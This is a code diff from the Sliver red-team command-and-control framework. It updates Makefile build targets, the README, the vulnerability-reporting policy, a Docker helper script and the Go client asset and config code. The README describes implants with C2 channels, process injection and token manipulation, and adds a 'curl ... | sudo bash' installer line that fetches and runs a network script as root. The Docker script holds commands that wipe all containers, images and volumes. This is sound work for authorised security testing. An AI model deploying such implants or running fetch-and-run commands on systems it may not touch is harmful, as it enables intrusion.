+macos-amd64: clean .downloaded_assets validate-go-version
+	GOOS=darwin GOARCH=amd64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
+	GOOS=darwin GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client

 .PHONY: macos-arm64
-macos-arm64: clean
-	GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_arm64 ./server
-	GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_arm64 ./client
+macos-arm64: clean .downloaded_assets validate-go-version
+	GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
+	GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client

-.PHONY: linux
-linux: clean
-	GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
-	GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
+.PHONY: linux-amd64
+linux-amd64: clean .downloaded_assets validate-go-version
+	GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
+	GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client

-.PHONY: windows
-windows: clean
-	GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server.exe ./server
-	GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client.exe ./client
+.PHONY: linux-arm64
+linux-arm64: clean .downloaded_assets validate-go-version
+	GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
+	GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
+
+.PHONY: windows-amd64
+windows-amd64: clean .downloaded_assets validate-go-version
+	GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX).exe ./server
+	GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX).exe ./client
+
+.PHONY: clients
+clients: clean .downloaded_assets validate-go-version
+	GOOS=darwin GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_macos-amd64$(ARTIFACT_SUFFIX) ./client
+	GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_macos-arm64$(ARTIFACT_SUFFIX) ./client
+	GOOS=linux GOARCH=386 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_linux-386$(ARTIFACT_SUFFIX) ./client
+	GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_linux-amd64$(ARTIFACT_SUFFIX) ./client
+	GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_linux-arm64$(ARTIFACT_SUFFIX) ./client
+	GOOS=windows GOARCH=386 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_windows-386$(ARTIFACT_SUFFIX).exe ./client
+	GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_windows-amd64$(ARTIFACT_SUFFIX).exe ./client
+	GOOS=windows GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_windows-arm64$(ARTIFACT_SUFFIX).exe ./client
+	GOOS=freebsd GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_freebsd-amd64$(ARTIFACT_SUFFIX) ./client
+	GOOS=freebsd GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_freebsd-arm64$(ARTIFACT_SUFFIX) ./client
+
+.PHONY: servers
+servers: 
+	GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_windows-amd64$(ARTIFACT_SUFFIX).exe ./server
+	GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_linux-amd64$(ARTIFACT_SUFFIX) ./server
+	GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_linux-arm64$(ARTIFACT_SUFFIX) ./server
+	GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_darwin-arm64$(ARTIFACT_SUFFIX) ./server
+	GOOS=darwin GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_darwin-amd64$(ARTIFACT_SUFFIX) ./server

 .PHONY: pb
 pb:
 	protoc -I protobuf/ protobuf/commonpb/common.proto --go_out=paths=source_relative:protobuf/
 	protoc -I protobuf/ protobuf/sliverpb/sliver.proto --go_out=paths=source_relative:protobuf/
 	protoc -I protobuf/ protobuf/clientpb/client.proto --go_out=paths=source_relative:protobuf/
+	protoc -I protobuf/ protobuf/dnspb/dns.proto --go_out=paths=source_relative:protobuf/
 	protoc -I protobuf/ protobuf/rpcpb/services.proto --go_out=paths=source_relative:protobuf/ --go-grpc_out=protobuf/ --go-grpc_opt=paths=source_relative 

+.PHONY: debug
+debug: clean
+	$(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor $(TAGS),server $(LDFLAGS_DEBUG) -o sliver-server$(ARTIFACT_SUFFIX) ./server
+	$(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor $(TAGS),client $(LDFLAGS_DEBUG) -o sliver-client$(ARTIFACT_SUFFIX) ./client
+
+validate-go-version:
+	@if [ $(GO_MAJOR_VERSION) -gt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
+		exit 0 ;\
+	elif [ $(GO_MAJOR_VERSION) -lt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
+		echo '$(GO_VERSION_VALIDATION_ERR_MSG)';\
+		exit 1; \
+	elif [ $(GO_MINOR_VERSION) -lt $(MIN_SUPPORTED_GO_MINOR_VERSION) ] ; then \
+		echo '$(GO_VERSION_VALIDATION_ERR_MSG)';\
+		exit 1; \
+	fi
+
 .PHONY: clean-all
 clean-all: clean
 	rm -rf ./server/assets/fs/darwin/amd64
@@ -132,8 +192,12 @@ clean-all: clean
 	rm -rf ./server/assets/fs/windows/amd64
 	rm -rf ./server/assets/fs/linux/amd64
 	rm -f ./server/assets/fs/*.zip
+	rm -f ./.downloaded_assets

 .PHONY: clean
 clean:
-	rm -f sliver-client_arm64 sliver-server_arm64
-	rm -f sliver-client sliver-server *.exe
+	rm -f sliver-client sliver-client_* sliver-server sliver-server_* sliver-*.exe
+
+.downloaded_assets:
+	./go-assets.sh
+	touch ./.downloaded_assets
@@ -1,33 +1,42 @@
-Sliver
-======
+# Sliver

-Sliver is an open source, cross-platform adversary emulation/red team platform, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS. Implants are dynamically compiled with unique X.509 certificates signed by a per-instance certificate authority generated when you first run the binary.
+Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary asymmetric encryption keys.

 The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).

-![Go](https://github.com/BishopFox/sliver/workflows/Go/badge.svg?branch=master) [![Go Report Card](https://goreportcard.com/badge/github.com/BishopFox/sliver)](https://goreportcard.com/report/github.com/BishopFox/sliver) [![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0)
+[![Release](https://github.com/BishopFox/sliver/actions/workflows/autorelease.yml/badge.svg)](https://github.com/BishopFox/sliver/actions/workflows/autorelease.yml) [![Go Report Card](https://goreportcard.com/badge/github.com/BishopFox/sliver)](https://goreportcard.com/report/github.com/BishopFox/sliver) [![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0)
+
+# v1.6.0 / `master`
+
+**NOTE:** You are looking the latest master branch of Sliver v1.6.0; PRs should target this branch starting on 6/1/2023 ('MURICA format). However, this branch is NOT RECOMMENDED for production use yet. Please use release tagged versions for the best experience.
+
+For PRs containing bug fixes specific to Sliver v1.5, please target the [`v1.5.x/master` branch](https://github.com/BishopFox/sliver/tree/v1.5.x/master).

 ### Features

-* Dynamic code generation
-* Compile-time obfuscation
-* Multiplayer-mode
-* Staged and Stageless payloads
-* [Procedurally generated C2](https://github.com/BishopFox/sliver/wiki/HTTP(S)-C2#under-the-hood) over HTTP(S)
-* [DNS canary](https://github.com/BishopFox/sliver/wiki/DNS-C2#dns-canaries) blue team detection
-* [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, HTTP(S), and DNS
-* Fully scriptable using [JavaScript/TypeScript](https://github.com/moloch--/sliver-script) or [Python](https://github.com/moloch--/sliver-py)
-* Local and remote process injection
-* Windows process migration
-* Windows user token manipulation
-* Anti-anti-anti-forensics
-* Let's Encrypt integration
-* In-memory .NET assembly execution
+- Dynamic code generation
+- Compile-time obfuscation
+- Multiplayer-mode
+- Staged and Stageless payloads
+- [Procedurally generated C2](<https://github.com/BishopFox/sliver/wiki/HTTP(S)-C2#under-the-hood>) over HTTP(S)
+- [DNS canary](https://github.com/BishopFox/sliver/wiki/DNS-C2#dns-canaries) blue team detection
+- [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, WireGuard, HTTP(S), and DNS
+- Fully scriptable using [JavaScript/TypeScript](https://github.com/moloch--/sliver-script) or [Python](https://github.com/moloch--/sliver-py)
+- Windows process migration, process injection, user token manipulation, etc.
+- Let's Encrypt integration
+- In-memory .NET assembly execution
+- COFF/BOF in-memory loader
+- TCP and named pipe pivots
+- Much more!

 ### Getting Started

 Download the latest [release](https://github.com/BishopFox/sliver/releases) and see the Sliver [wiki](https://github.com/BishopFox/sliver/wiki/Getting-Started) for a quick tutorial on basic setup and usage. To get the very latest and greatest compile from source.

+#### Linux One Liner
+
+`curl https://sliver.sh/install|sudo bash` and then run `sliver`
+
 ### Help!

 Please checkout the [wiki](https://github.com/BishopFox/sliver/wiki), or start a [GitHub discussion](https://github.com/BishopFox/sliver/discussions). We also tend to hang out in the #golang Slack channel on the [Bloodhound Gang](https://bloodhoundgang.herokuapp.com/) server.
@@ -36,6 +45,10 @@ Please checkout the [wiki](https://github.com/BishopFox/sliver/wiki), or start a

 See the [wiki](https://github.com/BishopFox/sliver/wiki/Compile-From-Source).

+### Feedback
+
+Please take a moment and fill out [our survey](https://forms.gle/SwVsHFNh24ChG58C6)
+
 ### License - GPLv3

 Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.
@@ -15,4 +15,4 @@ Anything in the `master` branch, without an open ticket.

 ### Reporting a Vulnerability

-Please report high and/or critical vulnerabilities via email `jdemesy<[a]>bishopfox.com`, if no response within 14 days, file a ticket with a `security` tag. Medium to Low risk vulnerabilities can simply be filed as a normal bug/issue with the `security` tag.
+Please report high and/or critical vulnerabilities via GitHub's private [report a vulnerability feature](https://github.com/BishopFox/sliver/security/advisories).
@@ -1,4 +1,4 @@
-#!/usr/bin/env python
+#!/usr/bin/env python3
 """
 Sliver Implant Framework
 Copyright (C) 2019  Bishop Fox
@@ -21,12 +21,6 @@ import os
 import sys
 import argparse

-try:
-    input = raw_input # Py2 / Py3 compatability
-except NameError:
-    pass
-
-
 INFO = "\033[1m\033[36m[*]\033[0m "
 WARN = "\033[1m\033[31m[!]\033[0m "
 BOLD = "\033[1m"
@@ -34,40 +28,51 @@ NORM = "\033[0m"


 def exec_cmd(cmd, ignore_status=False):
-    """ Executes a command with some sugar """
+    """Executes a command with some sugar"""
    print("\n" + INFO + " %s\n" % cmd)
    status = os.system(cmd)
    if status != 0 and not ignore_status:
        print("\n" + WARN + "Command did not exit cleanly (%s) " % status)
-        if input("continue? [Y/n]: ").upper() != 'Y':
+        if input("continue? [Y/n]: ").upper() != "Y":
            sys.exit(status)
    return status

+
 def docker_rm_volumes():
    exec_cmd("docker volume rm $(docker volume ls -q)", ignore_status=True)

+
 def docker_rm_containers():
    exec_cmd("docker rm $(docker ps -a -q)", ignore_status=True)

+
 def docker_rm_images():
    exec_cmd("docker rmi -f $(docker images -q)", ignore_status=True)

+
 def docker_prune():
    exec_cmd("docker image prune -f", ignore_status=True)

+
 def docker_rm_all():
    docker_rm_containers()
    docker_rm_images()
    docker_rm_volumes()

+
 def build():
    status = exec_cmd("docker build -t sliver .")
    if status == 0:
-        print(INFO+"Build successful, start with %sdocker run -it sliver:latest%s" % (BOLD, NORM))
-        print(INFO+"Remember you'll need to manually forward network ports")
+        print(
+            INFO
+            + "Build successful, start with %sdocker run -it sliver:latest%s"
+            % (BOLD, NORM)
+        )
+        print(INFO + "Remember you'll need to manually forward network ports")
+

 def main(args):
-    """ Execute the respective task(s) based on cli args """
+    """Execute the respective task(s) based on cli args"""
    if args.rm_images:
        docker_rm_images()
    if args.rm_containers:
@@ -76,42 +81,59 @@ def main(args):
        docker_rm_volumes()
    if args.rm_all:
        docker_rm_all()
-    
+
    if not args.no_prune:
        docker_prune()
    if not args.no_build:
        build()


-if __name__ == '__main__':
-    parser = argparse.ArgumentParser(
-        description='automates interactions with docker')
+if __name__ == "__main__":
+    parser = argparse.ArgumentParser(description="automates interactions with docker")

-    parser.add_argument('--no-build', '-b',
-                        help='do not run build',
-                        dest='no_build',
-                        action='store_true')
-    parser.add_argument('--no-prune', '-np',
-                        help='do not prune images',
-                        dest='no_prune',
-                        action='store_true')
+    parser.add_argument(
+        "--no-build",
+        "-b",
+        help="do not run build",
+        dest="no_build",
+        action="store_true",
+    )
+    parser.add_argument(
+        "--no-prune",
+        "-np",
+        help="do not prune images",
+        dest="no_prune",
+        action="store_true",
+    )

-    parser.add_argument('--rm-all', '-rma',
-                        help='rm all containers, images, and volumes',
-                        dest='rm_all',
-                        action='store_true')
-    parser.add_argument('--rm-containers', '-rmc',
-                        help='rm all containers',
-                        dest='rm_containers',
-                        action='store_true')
-    parser.add_argument('--rm-images', '-rmi',
-                        help='rm all images',
-                        dest='rm_images',
-                        action='store_true')
-    parser.add_argument('--rm-volumes', '-rmv',
-                        help='rm dangling volumes only',
-                        dest='rm_volumes',
-                        action='store_true')
+    parser.add_argument(
+        "--rm-all",
+        "-rma",
+        help="rm all containers, images, and volumes",
+        dest="rm_all",
+        action="store_true",
+    )
+    parser.add_argument(
+        "--rm-containers",
+        "-rmc",
+        help="rm all containers",
+        dest="rm_containers",
+        action="store_true",
+    )
+    parser.add_argument(
+        "--rm-images",
+        "-rmi",
+        help="rm all images",
+        dest="rm_images",
+        action="store_true",
+    )
+    parser.add_argument(
+        "--rm-volumes",
+        "-rmv",
+        help="rm dangling volumes only",
+        dest="rm_volumes",
+        action="store_true",
+    )
    try:
        main(parser.parse_args())
    except KeyboardInterrupt:
@@ -6,11 +6,13 @@ This directory contains the client implementation, pretty much all of this code
 __Important:__ No code in this directory can import any code from `server/`.

 * `assets/` - Static asset files and management code (e.g. client configs)
- * `command/` - Command implementations
+ * `cli/` - Command line interface implementation
+ * `command/` - Console command implementations
 * `constants/` - Various shared constant values
 * `core/` - Client state management
- * `help/` - Console help
+ * `licenses/` - Open source licenses 
 * `spin/` - Console spinner library
+ * `tcpproxy/` - Local TCP proxy listener code
 * `transport/` - Wires the client to the server
 * `version/` - Version information
 * `main.go` - Entrypoint
@@ -0,0 +1 @@
+fs/**
@@ -0,0 +1,64 @@
+package assets
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"log"
+	"os"
+	"path/filepath"
+)
+
+const (
+	AliasesDirName = "aliases"
+)
+
+// GetAliasesDir - Returns the path to the config dir
+func GetAliasesDir() string {
+	rootDir, _ := filepath.Abs(GetRootAppDir())
+	dir := filepath.Join(rootDir, AliasesDirName)
+	if _, err := os.Stat(dir); os.IsNotExist(err) {
+		err = os.MkdirAll(dir, 0700)
+		if err != nil {
+			log.Fatal(err)
+		}
+	}
+	return dir
+}
+
+// GetInstalledAliasManifests - Returns a list of installed alias manifests
+func GetInstalledAliasManifests() []string {
+	aliasDir := GetAliasesDir()
+	aliasDirContent, err := os.ReadDir(aliasDir)
+	if err != nil {
+		log.Printf("error loading aliases: %s", err)
+		return []string{}
+	}
+	manifests := []string{}
+	for _, fi := range aliasDirContent {
+		if fi.IsDir() {
+			manifestPath := filepath.Join(aliasDir, fi.Name(), "alias.json")
+			if _, err := os.Stat(manifestPath); os.IsNotExist(err) {
+				log.Printf("no manifest in %s, skipping ...", manifestPath)
+				continue
+			}
+			manifests = append(manifests, manifestPath)
+		}
+	}
+	return manifests
+}
@@ -0,0 +1,86 @@
+package assets
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"encoding/json"
+	"log"
+	"os"
+	"os/exec"
+	"path/filepath"
+)
+
+const (
+	armoryConfigFileName = "armories.json"
+)
+
+var (
+	// DefaultArmoryPublicKey - The default public key for the armory
+	DefaultArmoryPublicKey string
+	// DefaultArmoryRepoURL - The default repo url for the armory
+	DefaultArmoryRepoURL string
+
+	defaultArmoryConfig = &ArmoryConfig{
+		PublicKey: DefaultArmoryPublicKey,
+		RepoURL:   DefaultArmoryRepoURL,
+	}
+)
+
+// ArmoryConfig - The armory config file
+type ArmoryConfig struct {
+	PublicKey        string `json:"public_key"`
+	RepoURL          string `json:"repo_url"`
+	Authorization    string `json:"authorization"`
+	AuthorizationCmd string `json:"authorization_cmd"`
+}
+
+// GetArmoriesConfig - The parsed armory config file
+func GetArmoriesConfig() []*ArmoryConfig {
+	armoryConfigPath := filepath.Join(GetRootAppDir(), armoryConfigFileName)
+	if _, err := os.Stat(armoryConfigPath); os.IsNotExist(err) {
+		return []*ArmoryConfig{defaultArmoryConfig}
+	}
+	data, err := os.ReadFile(armoryConfigPath)
+	if err != nil {
+		return []*ArmoryConfig{defaultArmoryConfig}
+	}
+	var armoryConfigs []*ArmoryConfig
+	err = json.Unmarshal(data, &armoryConfigs)
+	if err != nil {
+		return []*ArmoryConfig{defaultArmoryConfig}
+	}
+	for _, armoryConfig := range armoryConfigs {
+		if armoryConfig.AuthorizationCmd != "" {
+			armoryConfig.Authorization = executeAuthorizationCmd(armoryConfig)
+		}
+	}
+	return append(armoryConfigs, defaultArmoryConfig)
+}
+
+func executeAuthorizationCmd(armoryConfig *ArmoryConfig) string {
+	if armoryConfig.AuthorizationCmd == "" {
+		return ""
+	}
+	out, err := exec.Command(armoryConfig.AuthorizationCmd).CombinedOutput()
+	if err != nil {
+		log.Printf("Failed to execute authorization_cmd '%s': %v", armoryConfig.AuthorizationCmd, err)
+		return ""
+	}
+	return string(out)
+}
@@ -19,21 +19,27 @@ package assets
 */

 import (
+	"fmt"
 	"log"
 	"os"
 	"os/user"
-	"path"
+	"path/filepath"
+	"strings"
+
+	ver "github.com/bishopfox/sliver/client/version"
 )

 const (
 	// SliverClientDirName - Directory storing all of the client configs/logs
 	SliverClientDirName = ".sliver-client"
+
+	versionFileName = "version"
 )

 // GetRootAppDir - Get the Sliver app dir ~/.sliver-client/
 func GetRootAppDir() string {
 	user, _ := user.Current()
-	dir := path.Join(user.HomeDir, SliverClientDirName)
+	dir := filepath.Join(user.HomeDir, SliverClientDirName)
 	if _, err := os.Stat(dir); os.IsNotExist(err) {
 		err = os.MkdirAll(dir, 0700)
 		if err != nil {
@@ -42,3 +48,63 @@ func GetRootAppDir() string {
 	}
 	return dir
 }
+
+// GetClientLogsDir - Get the Sliver client logs dir ~/.sliver-client/logs/
+func GetClientLogsDir() string {
+	logsDir := filepath.Join(GetRootAppDir(), "logs")
+	if _, err := os.Stat(logsDir); os.IsNotExist(err) {
+		err = os.MkdirAll(logsDir, 0700)
+		if err != nil {
+			log.Fatal(err)
+		}
+	}
+	return logsDir
+}
+
+// GetConsoleLogsDir - Get the Sliver client console logs dir ~/.sliver-client/logs/console/
+func GetConsoleLogsDir() string {
+	consoleLogsDir := filepath.Join(GetClientLogsDir(), "console")
+	if _, err := os.Stat(consoleLogsDir); os.IsNotExist(err) {
+		err = os.MkdirAll(consoleLogsDir, 0700)
+		if err != nil {
+			log.Fatal(err)
+		}
+	}
+	return consoleLogsDir
+}
+
+func assetVersion() string {
+	appDir := GetRootAppDir()
+	data, err := os.ReadFile(filepath.Join(appDir, versionFileName))
+	if err != nil {
+		return ""
+	}
+	return strings.TrimSpace(string(data))
+}
+
+func saveAssetVersion(appDir string) {
+	versionFilePath := filepath.Join(appDir, versionFileName)
+	fVer, _ := os.Create(versionFilePath)
+	defer fVer.Close()
+	fVer.Write([]byte(ver.GitCommit))
+}
+
+// Setup - Extract or create local assets
+func Setup(force bool, echo bool) {
+	appDir := GetRootAppDir()
+	localVer := assetVersion()
+	if force || localVer == "" || localVer != ver.GitCommit {
+		if echo {
+			fmt.Printf(`
+Sliver  Copyright (C) 2022  Bishop Fox
+This program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'.
+This is free software, and you are welcome to redistribute it
+under certain conditions; type 'licenses' for details.`)
+			fmt.Printf("\n\nUnpacking assets ...\n")
+		}
+		saveAssetVersion(appDir)
+	}
+	if _, err := os.Stat(filepath.Join(appDir, settingsFileName)); os.IsNotExist(err) {
+		SaveSettings(nil)
+	}
+}
@@ -23,10 +23,9 @@ import (
 	"encoding/json"
 	"errors"
 	"fmt"
-	"io/ioutil"
+	"io"
 	"log"
 	"os"
-	"path"
 	"path/filepath"
 )

@@ -40,6 +39,7 @@ type ClientConfig struct {
 	Operator      string `json:"operator"` // This value is actually ignored for the most part (cert CN is used instead)
 	LHost         string `json:"lhost"`
 	LPort         int    `json:"lport"`
+	Token         string `json:"token"`
 	CACertificate string `json:"ca_certificate"`
 	PrivateKey    string `json:"private_key"`
 	Certificate   string `json:"certificate"`
@@ -48,9 +48,9 @@ type ClientConfig struct {
 // GetConfigDir - Returns the path to the config dir
 func GetConfigDir() string {
 	rootDir, _ := filepath.Abs(GetRootAppDir())
-	dir := path.Join(rootDir, ConfigDirName)
+	dir := filepath.Join(rootDir, ConfigDirName)
 	if _, err := os.Stat(dir); os.IsNotExist(err) {
-		err = os.MkdirAll(dir, 0700)
+		err = os.MkdirAll(dir, 0o700)
 		if err != nil {
 			log.Fatal(err)
 		}
@@ -61,7 +61,7 @@ func GetConfigDir() string {
 // GetConfigs - Returns a list of available configs
 func GetConfigs() map[string]*ClientConfig {
 	configDir := GetConfigDir()
-	configFiles, err := ioutil.ReadDir(configDir)
+	configFiles, err := os.ReadDir(configDir)
 	if err != nil {
 		log.Printf("No configs found %v", err)
 		return map[string]*ClientConfig{}
@@ -69,8 +69,8 @@ func GetConfigs() map[string]*ClientConfig {

 	confs := map[string]*ClientConfig{}
 	for _, confFile := range configFiles {
-		confFilePath := path.Join(configDir, confFile.Name())
-		log.Printf("Parsing config %s", confFilePath)
+		confFilePath := filepath.Join(configDir, confFile.Name())
+		// log.Printf("Parsing config %s", confFilePath)

 		conf, err := ReadConfig(confFilePath)
 		if err != nil {
@@ -85,12 +85,12 @@ func GetConfigs() map[string]*ClientConfig {
 // ReadConfig - Load config into struct
 func ReadConfig(confFilePath string) (*ClientConfig, error) {
 	confFile, err := os.Open(confFilePath)
-	defer confFile.Close()
 	if err != nil {
 		log.Printf("Open failed %v", err)
 		return nil, err
 	}
-	data, err := ioutil.ReadAll(confFile)
+	defer confFile.Close()
+	data, err := io.ReadAll(confFile)
 	if err != nil {
 		log.Printf("Read failed %v", err)
 		return nil, err
@@ -107,13 +107,13 @@ func ReadConfig(confFilePath string) (*ClientConfig, error) {
 // SaveConfig - Save a config to disk
 func SaveConfig(config *ClientConfig) error {
 	if config.LHost == "" || config.Operator == "" {
-		return errors.New("Empty config")
+		return errors.New("empty config")
 	}
 	configDir := GetConfigDir()
 	filename := fmt.Sprintf("%s_%s.cfg", filepath.Base(config.Operator), filepath.Base(config.LHost))
-	saveTo, _ := filepath.Abs(path.Join(configDir, filename))
+	saveTo, _ := filepath.Abs(filepath.Join(configDir, filename))
 	configJSON, _ := json.Marshal(config)
-	err := ioutil.WriteFile(saveTo, configJSON, 0600)
+	err := os.WriteFile(saveTo, configJSON, 0o600)
 	if err != nil {
 		log.Printf("Failed to write config to: %s (%v)", saveTo, err)
 		return err
@@ -0,0 +1,65 @@
+package assets
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"log"
+	"os"
+	"path/filepath"
+)
+
+const (
+	// ExtensionsDirName - Directory storing the client side extensions
+	ExtensionsDirName = "extensions"
+)
+
+// GetExtensionsDir - Get the Sliver extension directory: ~/.sliver-client/extensions
+func GetExtensionsDir() string {
+	rootDir, _ := filepath.Abs(GetRootAppDir())
+	dir := filepath.Join(rootDir, ExtensionsDirName)
+	if _, err := os.Stat(dir); os.IsNotExist(err) {
+		err = os.MkdirAll(dir, 0700)
+		if err != nil {
+			log.Fatal(err)
+		}
+	}
+	return dir
+}
+
+// GetInstalledExtensionManifests - Returns a list of installed extension manifests
+func GetInstalledExtensionManifests() []string {
+	extDir := GetExtensionsDir()
+	extDirContent, err := os.ReadDir(extDir)
+	if err != nil {
+		log.Printf("error loading aliases: %s", err)
+		return []string{}
+	}
+	manifests := []string{}
+	for _, fi := range extDirContent {
+		if fi.IsDir() {
+			manifestPath := filepath.Join(extDir, fi.Name(), "extension.json")
+			if _, err := os.Stat(manifestPath); os.IsNotExist(err) {
+				log.Printf("no manifest in %s, skipping ...", manifestPath)
+				continue
+			}
+			manifests = append(manifests, manifestPath)
+		}
+	}
+	return manifests
+}
@@ -0,0 +1,82 @@
+package assets
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
